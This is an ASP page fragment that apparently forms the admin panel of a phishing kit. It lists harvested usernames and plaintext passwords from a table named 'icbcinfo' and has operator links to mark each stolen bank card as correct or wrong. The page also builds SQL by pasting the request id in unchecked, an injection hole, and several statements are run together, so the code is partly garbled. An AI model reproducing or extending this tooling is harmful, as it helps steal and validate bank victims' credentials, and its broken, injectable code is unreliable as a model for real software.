<%
dim sid,isread,ispass,sql7On Error Resume next
'response.charset="GB2312"
sid = request("id")
isread = cint(request("isread"))
ispass = cint(request("ispass"))IF Request("wor")="know" Then
sql7 = "update icbcinfo set isread=1 where id="&sid
conn.execute(sql7)
Response.Redirect "GSlog.asp"elseif Request("wor")="pass" Then
sql7 = "update icbcinfo set isread=1,ispass=1 where id="&sid
conn.execute(sql7)
Response.Redirect "GSlog.asp"elseif Request("wor")="nopass" Then
sql7 = "update icbcinfo set isread=1,ispass=2 where id="&sid
conn.execute(sql7)
Response.Redirect "GSlog.asp"

End IF
%>
<tr bordercolor="#FFFFFF"><td width="11%">用户名:<br/><%=rs("username")%></td>
<td width="11%">密&nbsp;&nbsp;码:<br/><%=rs("password")%></td>
<td width="7%">
<a href="javascript:DoEmpty('?wor=know&id=<%=rs("id")%>&isread=1&ToPage=<%=intCurPage%>')"><font color="#0000FF" size="3"><b>∮ </b></font> 关提示</a><br />
<a href="javascript:DoEmpty('?wor=pass&id=<%=rs("id")%>&isread=1&ispass=1&ToPage=<%=intCurPage%>')"><font color="#00FF00" size="3"><b>√</b></font> 卡对了</a><br />
<a href="javascript:DoEmpty('?wor=nopass&id=<%=rs("id")%>&isread=1&ispass=2&ToPage=<%=intCurPage%>')"><font color="#FF0000" size="3"><b>×</b></font> 卡错了</a><br />
</td>